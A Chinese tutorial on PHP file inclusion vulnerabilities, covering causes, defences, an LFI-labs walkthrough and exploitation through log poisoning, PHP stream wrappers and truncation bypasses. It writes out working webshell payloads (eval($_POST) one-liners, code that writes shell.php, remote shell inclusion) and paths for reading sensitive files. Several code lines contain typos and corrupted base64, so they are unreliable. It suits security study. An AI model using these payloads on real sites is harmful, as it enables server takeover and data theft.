[Web安全 网络安全]-文件包含漏洞

文章目录:

一:前言

1.什么是文件包含漏洞

2.文件包含漏洞的成因

3.文件包含漏洞的分类

4.文件包含漏洞的防御策略

5.文件包含函数(触发点Sink)

6.环境 

6.1 靶场

6.2 其他工具 

二:文件包含LFI labs靶场实验

LFI-1

LFI-2

LFI-3

LFI-4

LFI-5

LFI-6

LFI-7-14

三:文件包含漏洞的-利用方式

1.本地文件方式利用 

1.1 包含日志文件获取webshell

1.2 利用file协议

1.3 php_filter命令获取flag

1.4 php_ zip命令压缩协议获取webshell

1.5 phar://协议

2.远程文件方式利用 

2.1 包含远程文件

2.2 php_input命令执行及获取webshell

2.3 php_data命令获取webshell

四:文件包含漏洞的-绕过方式

1.本地文件绕过方式绕过

%00截断

路径长度截断/操作系统特性进行文件包含绕过(.   ,/)

2.远程文件绕过方式绕过(?%23 %20 )


一:前言

1.什么是文件包含漏洞

定义:文件包含漏洞(File Inclusion Vulnerability)通常出现在动态网页中
     它允许攻击者在应用程序中任意包含本地或远程文件,从而导致敏感信息泄露、远程命令执行甚至完全控制目标系统
     为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来直接使用包含文件的代码

     简单来说:开发人员将需要重复的函数写入一个文件,对该文件进行包含时产生的操作


目的:提高代码的重复利用率、减少代码冗余、降低代码后期维护难度

2.文件包含漏洞的成因

文件包含漏洞的成因:文件包含漏洞出现在PHP语言中,在未正确进行输入验证和过滤的用户提供的输入情况下
    在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时
    用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞

    简单来说:加载的参数没有经过过滤或严格定义,可以被用户控制,,包含其他恶意文件导致执行非预期代码

     <?php 
        $file=$_GET['filename'];
        include($filename);
        //...
     ?>

    http://xxx/xxx.php?filename=show.php
    改变filename值即可改变代码中含有的文件

3.文件包含漏洞的分类

文件包含的内容只要符合php语法:都能被当成php代码进行解析,无关后缀名是什么 

文件包含漏洞的分类
    本地文件包含(Local File Inclusion, LFI):当被包含的文件位于服务器本地时,就形成了本地文件包含漏洞
        攻击者可以利用这个漏洞读取服务器上的敏感文件,如配置文件、数据库文件等,甚至执行服务器上的恶意脚本
        
        例子:http://localhost/filename/?page=c:/windows/win.ini


    远程文件包含(Remote File Inclusion, RFI):当被包含的文件位于第三方服务器时,就形成了远程文件包含漏洞
        这种漏洞允许攻击者包含并执行远程服务器上的恶意脚本url文件,从而对目标系统造成更大的威胁
        但需要注意的是,远程文件包含漏洞的利用通常需要服务器配置中的allow_url_include选项被开启

        php.ini中设置:php.ini中设置allow url fopen =On(默认)、allow url include= On(php5.2后默认为Off)
            allow_url_fopen:为ON时,能读取远程文件,默认;例如file_get_contents()就能读远程文件
            Alow_url_include:为ON时,就可使用include和require等方式包含远程文件

        例子:http://localhost/filename/?page=../../../phpinfo.php
        例子:http://localhost/filename/?page=phpinfo.txx
              phpinfo.txt    <?php phpinfo();?>
        

4.文件包含漏洞的防御策略

文件包含漏洞的防御策略
    过滤危险字符:使用如str_replace等方法过滤掉用户输入中的危险字符

    配置open_basedir:通过配置php.ini中的open_basedir指令,限制PHP能够打开的文件目录,防止目录遍历

    使用安全的文件包含函数:推荐使用include_once()和require_once()函数来包含文件,这些函数可以防止文件被包含多次

    验证用户输入:在包含文件之前,验证用户输入是否是有效的,防止攻击者通过提交恶意文件来触发文件包含漏洞

    使用白名单:对于动态包含的文件,可以设置一个白名单,只包含白名单中的文件

    做好权限管理:确保文件和目录的权限设置合理,防止非授权用户访问敏感文件

    使用Web应用程序防火墙(WAF):WAF可以阻止攻击者利用文件包含漏洞进行恶意攻击

    过滤.(点)/(反斜杠)\(反斜杠)

    禁止服务器远程文件包含

    尽量不要使用动态包含,可以在需要包含的页面固定写好

5.文件包含函数(触发点Sink

require组require函数出现错误,会直接报错并退出程序执行
require_once函数出现错误,会直接报错并退出程序执行;仅包含一次
include组include函数出现错误,会抛出一个警告,程序继续执行
include_once函数出现错误,会抛出一个警告,程序继续执行;仅包含一次

代码审计时间用 

Include:如果包含的文件有错误/路径有错误,会继续执行,不会影响整个程序;  有返回值
         如果指定的文件不存在,PHP会发出一个警告(E_WARNING),但脚本会继续执行
         include 可以在脚本的任意位置使用,以引入需要的功能代码

Include_once:只包含一次


require:如果包含的文件有错误/路径有错误,会继续执行,  会影响整个程序;没有返回值
    如果指定的文件不存在,PHP会发出一个致命错误(E_COMPILE_ERROR),并停止脚本的执行。
    这通常用于那些缺少了就无法继续执行的文件

require once:与 require 类似,但它在引入文件之前会检查该文件是否已经被引入过,以避免重复引入


highlight_file():用于输出文件并语法高亮显示
        这对于查看PHP源代码特别有用,因为它会以HTML格式显示文件内容,并尝试对PHP代码进行语法高亮

show_source():与 highlight_file() 类似,但它直接输出或返回文件的源代码,而不是通过浏览器显示
        它同样尝试对PHP代码进行语法高亮

readfile():将整个文件读入一个字符串,并将文件内容输出,这个函数主要用于直接输出文件到浏览器或客户端

file_get_contents():将整个文件读入一个字符串
    与 readfile() 不同,file_get_contents() 不会直接输出文件内容,而是将内容存储在变量中,供后续处理

fopen():用于打开文件或URL
         返回一个文件指针资源,之后可以使用其他文件操作函数(如 fread()、fwrite()、fclose() 等)对文件进行读写操作

file(): 将整个文件读入一个数组中,每个元素都是文件的一行。这对于逐行处理文件内容非常方便

6.环境 

6.1 靶场

LFI labs:lfi-labs、lfi-labs-master镜像地址 

Bugku CTF:由乌云知识库(wooyun.org)推出的在线漏洞靶场

pikachu:带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞

DVWA:是一个PHP/MySQL Web应用程序,包含常见漏洞,用于安全培训和练习,可参考

6.2 其他工具 

phpSdudy

burp

中国菜刀

二:文件包含LFI labs靶场实验

绕过方式不带后缀绕过
%00截断
加点.绕过
加斜杠点/.绕过
深入目录../../绕过
双写../绕过 或者  ../替换空格绕过
phpinfo.php
    <?php phpinfo(); ?>


webshell.php    {eval() 函数把字符串按照 PHP 代码来计算}
    <?php @eval($_POST([margin])); ?>    

LFI-1

Load URL地址:http://www.lfi.com/LFI-1/


后台代码
    <?php 
        include($_GET["page"]); 
    ?>


获取系统敏感文件
    http://www.lfi.com/LFI-1/?page=c:\\boot.ini


获取webshell    
    http://www.lfi.com/LFI-1/?page=phpinfo.php
    http://www.lfi.com/LFI-1/?page=phpinfo.jpg
    http://www.lfi.com/LFI-1/?page=phpinfo.txt
    http://www.lfi.com/LFI-1/?page=../webshell.php

LFI-2

Load URL地址:http://www.lfi.com/LFI-2/


后台代码
    <?php 
        include("includes/".$_GET['library'].".php"); 
    ?>


获取系统敏感文件
    http://www.lfi.com/LFI-2/?library=c://boot.ini
        include("includes/c://boot.ini.php"); 

    绝对路径
    http://www.lfi.com/LFI-2/?library=c://boot.ini%00            %00截断
        include("includes/c://boot.ini%00.php"); 
        include("includes/c://boot.ini   .php"); 

    相对路径
    http://www.lfi.com/LFI-2/?library=../boot.ini%00            
    http://www.lfi.com/LFI-2/?library=../../boot.ini%00            
    http://www.lfi.com/LFI-2/?library=../../../boot.ini%00            
        include("includes/../../../boot.ini%00.php"); 
        include("includes/../../../boot.ini   .php"); 

    http://www.lfi.com/LFI-2/?library=../../../phpinfo.php%00      
    

获取webshell
    http://www.lfi.com/LFI-2/?library=../../../webshell.php%00  

LFI-3

Load URL地址:http://www.lfi.com/LFI-3/


后台代码
    <?php 
        if(substr($_GET['file'],-4,4)!= '.php')                    //从结尾倒数第四个开始,取4个长度
            echo file_get_contents($_GET['file']);
        else
            echo 'you are not allowed to see source files'."\n";
    ?>


获取系统敏感文件
    http://www.lfi.com/LFI-3/?file=c://boot.ini                     可以查看

    http://www.lfi.com/LFI-3/?file=../phpinfo.ini                   不可以查看
        http://www.lfi.com/LFI-3/?file=../phpinfo.ini%00            没有提示
        http://www.lfi.com/LFI-3/?file=../../../../phpinfo.ini%00   还是不可以

        http://www.lfi.com/LFI-3/?file=../../phpinfo.php.           加点.绕过
        http://www.lfi.com/LFI-3/?file=../../phpinfo.php/.          加斜杠点/.绕过
        http://www.lfi.com/LFI-3/?file=../../phpinfo.php%00         利用burp工具抓包%00截断

LFI-4

Load URL地址:http://www.lfi.com/LFI-4/


后台代码
    //---------------------------------------------------------------------------------//
    addslashes()函数:返回在预定义字符之前添加反斜杠的字符串    在他们{'  "  \  NULL}之前添加\
        如果用%00截断,他们的区别
            ../../../../../phpinfo.php
            ../../../../../phpinfo.php\0        
    //---------------------------------------------------------------------------------//
    <?php 
        $path = "includes/class_'.addslashes($_GET(['class'])).'.php ";
        echo file_get_contents($path);
    ?>


获取系统敏感文件
    http://www.lfi.com/LFI-4/?class=../phpinfo                    不可以查看
    http://www.lfi.com/LFI-4/?class=../../../../../phpinfo        可以查看(深入目录../../绕过)


    如果$path = "includes/class_'.($_GET(['class'])).'.php ";
        http://www.lfi.com/LFI-4/?class=../../../../../phpinfo%00 也可以查看

LFI-5

Load URL地址:http://www.lfi.com/LFI-5/


后台代码
    <?php 
        $file=str_replace('../','',$_GET('file'));
        if(isset($file))
            include("page/$file");
        else
            include("index.php");
    ?>


获取系统敏感文件
    http://www.lfi.com/LFI-5/?file=c://boot.ini                   不可以查看
    http://www.lfi.com/LFI-5/?file=../../phpinfo.php              不可以查看
    http://www.lfi.com/LFI-5/?class=..././..././../phpinfo.info   可以查看(双写../绕过 或者 ../替换空格绕过)

LFI-6

Load URL地址:http://www.lfi.com/LFI-6/


后台代码
    <?php 
       include($_POST["page"]);
    ?>


获取系统敏感文件
    http://www.lfi.com/LFI-6/?page=c://boot.ini                   可以查看
    http://www.lfi.com/LFI-6/?page=../../phpinfo.php              可以查看
  

    获取webshell:但是POST文件包含无法直接获取,需要加工一下(文件包含写shell)
        第一步:image.jpg在图片里面写入:小马
        <?php fputs(fopen("shell.php","w"), '<?php eval($_POST[shell])?>'); ?>

        第二步:勾选enable post data,执行会生成一个shell.php
            http://www.lfi.com/LFI-6/?page=../../image.php       
       
        第三步:访问查看
            http://www.lfi.com/LFI-6/?page=../../shell.php        可以查看

LFI-7-14

第七题
    POST方式提交1ibrary=../../../phpinfo.php%00                            %00截断
    或者        1ibrary=../../../phpinfo                                   不带后缀


第八题
    POST提交http://www.lfi.com/LFI-3/?file=../../phpinfo.php%00             %00截断    
    或者                                         phpinfo.php/.              /.绕过


第九题
    POST提交class=../../../../../phpinfo                                   不带后缀
第十题
    POST提交fi1e=..././..././..././phpinfo.php                             双写../替换为空


第十一题
    POST:stylepath=../../phpinfo.php      hidden隐藏的输入框               两个参数(分别试一试)
第十二题
    GET :stylepath=../../phpino.php       hidden隐藏的输入框               两个参数(分别试一试)


第十三题
    GET 方式:fi1e=..././..././..././phpinfo.php                            双写../替换为空
十四题
    POST方式:file=..././..././..././phpinfo.php                            双写../替换为空

三:文件包含漏洞的-利用方式

                                                                                                PHP支持的协议和封装协议

file://访问本地文件系统
http://访问HTTP(s)网址
fpt://访问FPT(s) URLs
php://访问各个输入/输出流(I/O  streams)
zlib://压缩流
data://数据(RFC 2397)
glob://查找匹配的文件路径模式
phar://PHP文档
ssh2://Secure Shell 2
rar://RAR
ogg://音频流
expect://处理交互式的流

文件包含漏洞的利用方式
    直接包含恶意文件:攻击者可以通过URL参数直接指定恶意文件的路径,使应用程序包含并执行该文件

    利用伪协议:如php://filter、data://等,这些伪协议允许攻击者控制输入流,将恶意代码作为输入流传递给应用程序
        php://filter 是一种元封装器 ,设计用于数据流打开时的筛选过滤应用
        data:// 同样类似与php://input,可以让用户来控制输入流
        php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行
        phar://xxx.png/shell.php 解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压

    包含日志文件:通过包含服务器的日志文件(如Apache的access.log或error.log)来执行日志中的恶意代码

    包含session

    00截断

    长度截断(Windows:256;Linux:4096)

1.本地文件方式利用 

1.1 包含日志文件获取webshell

                                                                                                日志默认路径
apache+Linux日志默认路径/etc/httpd/logs/access_log
/var/log/httpd/access_log
apache+win2003日志默认路径D:\xampp\apache\logs\access.log
D:\xamppiapache\logs\error.log
IIS6.0+win2003默认日志文件C:WINDOUS\system32\Logfiles
IIS7.0+win2003 默认日志文件%SystemDrives%\inetpub\logs\LogFiles
nginx日志文件日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx
那我的日志目录就是在/usr/local/nginx/logs里
                                                                                        敏感文件默认路径列举
windows系统C:\boot.ini查看系统版本
C:\windows\system32\inetsrvMetaBase.xmliis配置文件
C:\windowslrepairlsame存储windows系统初次安装密码
C:\ProgramFilesmysqlmy.inimysql配置信息
C:\ProgramFiles\mysql\data\mysqluser.MYDmysql root密码
C:\lwindowslphp.iniphp配置信息
linux/unix系统/etc/passwd账户信息
/etc/shadow账户密码文件
/usr/local/app/apache2/conf/httpd.confApache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf虚拟网站配置
/usr/local/app/php5/lib/php.iniphp相关配置
/etc/httpd/conf/httpd.confapache配置信息
/etc/my.confmysql配置文件
Load URL地址:http://www.lfi.com/LFI-1/


访问日志文件
    http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.log


查看一句话木马
    第一步:写入
        http://www.lfi.com/LFI-1/<?php phpinfo(); ?>

        http://www.lfi.com/LFI-1/?page=../../phpinfo.php

    第二步:查看
        http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.log
        http://www.lfi.com/LFI-1/page=..\..\..\Apache\logs\datafile.log


特殊字符被url编码问题:用burp抓包 获取url页面 
    第一步:执行    http://www.lfi.com/LFI-1/

    第二步:修改    GET /LEI-1/HTTP/1.1    
           GET /LEI-1/<?php phpinfo(); ?> HTTP/1.1 

    第三步:查看
            http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.log


获取一句话木马
    第一步:执行    http://www.lfi.com/LFI-1/

    第二步:修改    GET /LEI-1/HTTP/1.1    
           GET /LEI-1/<?php @eval($_POST([margin])); ?> HTTP/1.1 

    第三步:查看
           http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.log

1.2 利用file协议

 php.ini中设置allow url fopen =off)、allow url include= off)

Load URL地址:http://www.lfi.com/php/?page=http:192.168.1.239/DVWA-master/valnerabilities/fi/?page=file://c:/windows/win.ini

1.3 php_filter命令获取flag

php://fi1ter 是一种元封装器,设计用于数据流打开时的筛选过滤应用
这对于一体式(all-in-one)的文件函数非常有用,类似 readfle()、fle()和 fle_get_contents(),在数据流内容读取之前没有机会应用其他过滤器


php://fi1ter参数
    resource=<要过滤的数据流>        这个参数是必须的。它指定了你要筛选过滤的数据流

    read=<读链的筛选列表>            该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔

    write=<写链的筛选列表>           该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔

    <;两个链的筛选列表>              任何没有以 read=或 write=作前缀 的筛选器列表会视情况应用于读或写链
Load URL地址:http://www.lfi.com/php/php_filter.php


编码文件
    Load URL地址:http://www.lfi.com/php/php_filter.php?file=php://filter/read=covert.base64-encode/resource=php_filter.php

解码文件:利用burp(decode as——>base64)

读取flag.php文件——>利用burp解码
    Load URL地址:http://www.lfi.com/php/php_filter.php?file=php://filter/read=covert.base64-encode/resource=flag.php

获取flag
    http://www.lfi.com/php/php_filter.php

1.4 php_ zip命令压缩协议获取webshell

Load URL地址:http://www.lfi.com/php/php_zip.php


zip//、bzip2://、zlib//协议压缩流版本,利用条件按为php版本大于5.3.0

格式:zip://[压缩文件绝对路径]#[压缩文件内的子文件名]


获取压缩包里面的文件:backdoor.php
    http://www.lfi.com/php/php_zip.php?file=upload
    http://www.lfi.com/php/php_zip.php?file=zip://c:\phpstudy\etc.zip%23backdoor.php

1.5 phar://协议

类似于zip协议,但是可以使用相对路径

格式:phar://[压缩文件绝对/相对路径]压缩文件内的子文件名]


上传
    http://www.lfi.com/php/php_zip.php?file=phar://../../phpstudy/etc.zip/backdoor.php

    backdoor.php
        <?php fputs(fopen("shell.php","w"), '<?php eval($_POST["cmd"])?>'); ?>
        <?php phpinfo(); ?>

访问shell.php
     http://www.lfi.com/php/shell.php

2.远程文件方式利用 

2.1 包含远程文件

php.ini中设置allow url fopen =On(默认)、allow url include= On(php5.2后默认为Off) 

Load URL地址:http://www.lfi.com/php/?page=http:192.168.1.239/phpinfo.php


远程包含shell
    http://www.lfi.com/php/?page=http:192.168.1.239/DVWA-master/valnerabilities/fi/?page=http://localhost/remoteshell.txt

    remoteshell.txt
        <?php
            $payload="<?php eval(\$_POST['&cmd'])?>":
            $myfile =fopen('demo.php','w) or die("can't open the file!");
            fwrite($myfile,$payload);
            fclose($myfile);
        ?>

2.2 php_input命令执行及获取webshell

php.ini中设置allow url fopen =Off、allow url include= On

Load URL地址:http://www.lfi.com/php/page=php://input


获取phpinfo页面
    http://www.lfi.com/php/php_input.php?file=php://input <?php phpinfo();?>

获取当前操作系统目录
    http://www.lfi.com/php/php_input.php?file=php://input <?php syetem("dir");?>

获取目录里面内容:在服务器上写入小马
    http://www.lfi.com/php/php_input.php?file=php://input <?php fputs(fopen("shell.php","w"), '<?php eval($_POST[margin]);?>'); ?>

访问shell.php
    http://www.lfi.com/php/shell.php

2.3 php_data命令获取webshell

php.ini中设置allow url fopen =Off、allow url include= On 

Load URL地址:http://www.lfi.com/php/php_data.php


获取phpinfo文件页面
    http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

    base <?php phpinfo()?>编码
    http://127.0.0,1/cmd,php?file=data://text/plain;base64.pp9waHAgcGhwaw5mbygpPz4==

    http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
    http://127.0.0.1/cmd.php?file=data:text/plain;base64,Pb9waHagcGhwaW5mbvgpPz4

写入小马
    http://127.0.0.1/cmd.php?file=data://text/plain,<?PHP fputs(fopen("shell.php","w",'<?php eval($ posT[margin]);?>');?>
    
访问shell.php
    http://www.lfi.com/php/shell.php

四:文件包含漏洞的-绕过方式

这里可以参考之前的方法:问号、空格、注释、双写、大小写、截断等 

1.本地文件绕过方式绕过

<?php include("inc/" .$_GET['file'] . ".htm");?>

%00截断

原理:php内核由c语言实现,因此使用了c语言中的字符串处理函数,在连接字符串时0字节作为字符串的结束符  
     %00url解码为0x00,magic quotes gps开启时会将%00转义为\0的两个单体字符,故不具备截断功能


条件:magic quotes gps=off php版本<5.3.4


?page=../../../../phpinfo.php%00


%00截断目录遍历:
    条件:magic_quotes_gps=off 
    unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris?page=../../../../var/www/%00

路径长度截断/操作系统特性进行文件包含绕过(.   ,/)

文件名不能包含下列任何字符之一:\ / : * ? < > |  

Load URL地址:http://www.lfi.com/LFI-1/

php版本小于5.2.8


后台代码:在php5.3版本以后就不可以使用00截断
    <?php 
        include($_GET["page"]."html"); 
    ?>


解决办法
    文件后缀上有多个或单个的点,会被自动消除
    文件名大于256个字符会自动被丢弃掉


绕过办法backdoor.php(<?php phpinfo()?>)  
    http://www.lfi.com/LFI-1/?page=backdoor.php.....大于256个.    或者大于256个././././

    Windows下目录最大长度为256字节,超出的部分会被丢弃
    linux  下目录最大长度为4096字节,超出的部分会被丢弃

2.远程文件绕过方式绕过(?%23 %20 )

<?php
    $basePath =$_GET['path'];
    require_once $basePath ."/action/m_share.php";
?>


绕过方式
    http://192.168.1.239/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php?
        代码实际执行了:require once http://localhost/shell.php?/action/m share.php
        将/action/m share.php作为http://localhost/shell.php的querystring查询字符串

    http://192.168.1.239/DVWA-master/vulnerabilities/fi/?page=http://locahost/shell.php%23

    http://192.168.1.239/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php%20

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/874765.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

docker-01 创建一个自己的镜像并运行容器

docker-01 创建一个自己的镜像并运行容器 前言 我们都知道使用Docker的镜像可以快速创建和部署应用&#xff0c;大大的节约了部署的时间。并且Docker 的镜像提供了除内核外完整的运行时环境&#xff0c;确保代码的环境一致性&#xff0c;从而不会在出现这段代码在我机器上没问…

YoloV10改进策略:上采样改进|动态上采样|轻量高效,即插即用(适用于分类、分割、检测等多种场景)

摘要 本文使用动态上采样改进YoloV10,动态上采样是今天最新的上采样改进方法,具有轻量高效的特点,经过验证,在多个场景上均有大幅度的涨点,而且改进方法简单,即插即用! 论文:《DySample:Learning to Upsample by Learning to Sample》 论文:https://arxiv.org/pdf/…

老旧电力系统安全隐患增加 该如何预防电气线路老化等因素引发的电气火灾呢?

为应对我国电气火灾事故频发的挑战&#xff0c;安科瑞电气股份有限公司开发了AcrelCloud-6000安全用电管理云平台。这一平台依托移动互联网和云计算技术&#xff0c;结合物联网传感器&#xff0c;将办公楼、学校、医院、工厂、体育场馆、宾馆及福利院等人员密集场所的电气安全数…

0x07 Nginx越界读取缓存漏洞 CVE-2017-7529 复现

参考&#xff1a; Nginx越界读取缓存漏洞 CVE-2017-7529 | PeiQi文库 (wgpsec.org)Nginx越界读取缓存漏洞&#xff08;CVE-2017-7529&#xff09;复现分析 - qweg_focus - 博客园 (cnblogs.com) 一、fofa 搜索 nginx && port"80" 我这里写了个脚本将ip保存…

启明云端乐鑫代理商,乐鑫ESP32无线芯片方案,物联网设备WiFi联动控制

随着智能和远程技术的飞速发展&#xff0c;物联网(IoT)逐渐出现在我们生活的每一个角落。乐鑫以其创新的无线通信技术&#xff0c;正成为智能家居、工业自动化和医疗设备等领域的推动者。 无线WiFi芯片模组不仅提供了强大的数据处理能力&#xff0c;还赋予了设备以直观的交互方…

Web 基础——Apache

Event Worker 的升级版、把服务器进程和连接进行分析&#xff0c;基于异步 I/O 模型。 请求过来后进程并不处理请求&#xff0c;而是直接交由其它机制来处理&#xff0c;通过 epoll 机制来通知请求是否完成&#xff1b; 在这个过程中&#xff0c;进程本身一直处于空闲状态&am…

Qt常用控件——QLCDNumber

文章目录 QLCDNumber核心属性倒计时小程序倒计时小程序相关问题 QLCDNumber核心属性 QLCDNumber是专门用来显示数字的控件&#xff0c;类似于这样&#xff1a; 属性说明intValue获取的数字值(int).value获取的数字值(double)和intValue是联动的例如value设为1.5&#xff0c;in…

第十一周:机器学习

第十一周周报 摘要Abstract机器学习1. 注意力机制&#xff08;下&#xff09;1.1 multi-head self-attention&#xff08;多头注意力机制&#xff09;1.2 Positional Encoding&#xff08;位置编码&#xff09;1.3 truncated self attention&#xff08;截断式注意力机制&#…

即插即用篇 | YOLOv8 引入高效的直方图Transformer模块 | 突破天气障碍:Histoformer引领高效图像修复新路径“

本改进已同步到YOLO-Magic框架! 摘要:摘要。基于Transformer的恶劣天气图像修复方法取得了显著进展。大多数方法通过沿通道维度或在空间上固定范围的块内使用自注意力,以减少计算负担。然而,这种折中方式在捕获长距离空间特征方面存在局限性。受到恶劣天气导致的退化因素主…

黑马点评18——多级缓存-OpenResty

文章目录 安装OpenRestyOpenResty快速入门OpenResty获取请求参数封装Http请求向Tomcat发送http请求根据商品id对tomcat集群负载均衡Redis缓存预热查询Redis缓存Nginx本地缓存 安装OpenResty 安装参考博客 OpenResty快速入门 nginx是没有业务能力的&#xff0c;我们是把请求转发…

NLP基础及其代码-BERT系列

1.基础知识 BERT系列RoBERTa ALBERT ERINE详解与使用学习笔记-腾讯云开发者社区-腾讯云 (tencent.com) 2.BERT 分词&#xff1a;wordpiece 预训练&#xff1a; mask&#xff1a;选择15%的分词进行mask&#xff08;80%mask 10%随机替换分词 10%分词保持不变&#xff09; NSP…

替换传统数据处理平台,TDengine 与华风数据达成合作

在全球能源转型的大背景下&#xff0c;新能源产业正迎来前所未有的发展机遇。随着国家对可再生能源的政策支持和市场需求的不断增长&#xff0c;风电、光伏和储能等新能源项目如雨后春笋般蓬勃发展。然而&#xff0c;随之而来的数据处理与管理挑战也日益凸显。面对海量的设备运…

构建常态化安全防线:XDR的态势感知与自动化响应机制

当前&#xff0c;网络安全威胁日益复杂多变&#xff0c;企业正面临前所未有的严峻挑战。为有效应对这些挑战&#xff0c;态势感知与自动化响应机制在提升网络安全运营效率与防御效果中扮演着至关重要的角色。它们能够实时监测网络状态&#xff0c;智能分析潜在威胁&#xff0c;…

Spring Cloud之二 微服务注册

1&#xff1a;Intellij 新建服务 user-service 2&#xff1a;pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"…

[leetcode-python]杨辉三角2

给定一个非负索引 rowIndex&#xff0c;返回「杨辉三角」的第 rowIndex 行。 在「杨辉三角」中&#xff0c;每个数是它左上方和右上方的数的和。 示例 1: 输入: rowIndex 3 输出: [1,3,3,1]示例 2: 输入: rowIndex 0 输出: [1]示例 3: 输入: rowIndex 1 输出: [1,1]提示…

如何将 Electron 项目上架 Apple Store

前言 Electron 是一个开源框架,它允许开发者使用 Web 技术(HTML、CSS 和 JavaScript)来构建跨平台的桌面应用程序。 Electron 应用程序可以运行在 Windows、macOS 和 Linux 上,为用户提供了一种统一的方式来开发和维护软件。 本文将探讨如何将 Electron 构建的桌面应用程…

CTF——简单的《WEB》

文章目录 一、WEB1、easysql2、baby_web3、baby_sql4、upload_easy5、easygame拓展1.1拓展1.2 6、ht_ssti7、包容乃大 一、WEB 1、easysql 题目描述&#xff1a; sql注入漏洞 1.常用的sql注入测试语句 2.sql注入bypass 解题思路 这边提示基本给的也很完整的&#xff0c;不…

【Linux】Linux介绍及CentOS虚拟机环境搭建

内容大纲介绍 文章目录 内容大纲介绍1.计算机简介2.Linux系统介绍3.虚拟化软件介绍4.Linux环境搭建5.扩展_虚拟机的快照6.Linux的目录介绍 1.计算机简介 概述 全称叫电子计算机, 英文名叫Computer, 俗称叫: 电脑, 简称叫: PC, 就是有硬件和软件组成的电子设备. 组成 计算机硬件…

QGis二次开发 —— 3、程序加载栅格tif与矢量shp文件可进行切换控制,可进行导出/导入工程(附源码)

效果 功能说明 软件可同时加载.tif栅格图片与.shp矢量图片、加载图片后可进行自由切换查看图层、可对加载的图片进行关闭 关闭后清空图层、可对加载的图片进行导出.qgs的QGIS工程、可对.qgs的QGis工程导入并导入后可进行自由切换查看图层。 源码 注意: 在加载tif栅格文件后会在…

华为 HCIP-Datacom H12-821 题库 (16)

1.需要题库的小伙伴至博客最下方添加微信公众号关注后回复题库 2.有兴趣交流IT问题的小伙伴微信公众号回复交流群&#xff0c;加入微信IT交流群 1. OSPF 邻居关系建立出现故障&#xff0c;通过 display ospf error 命令来检查&#xff0c;输出结果如图所示&#xff0c;根据图中…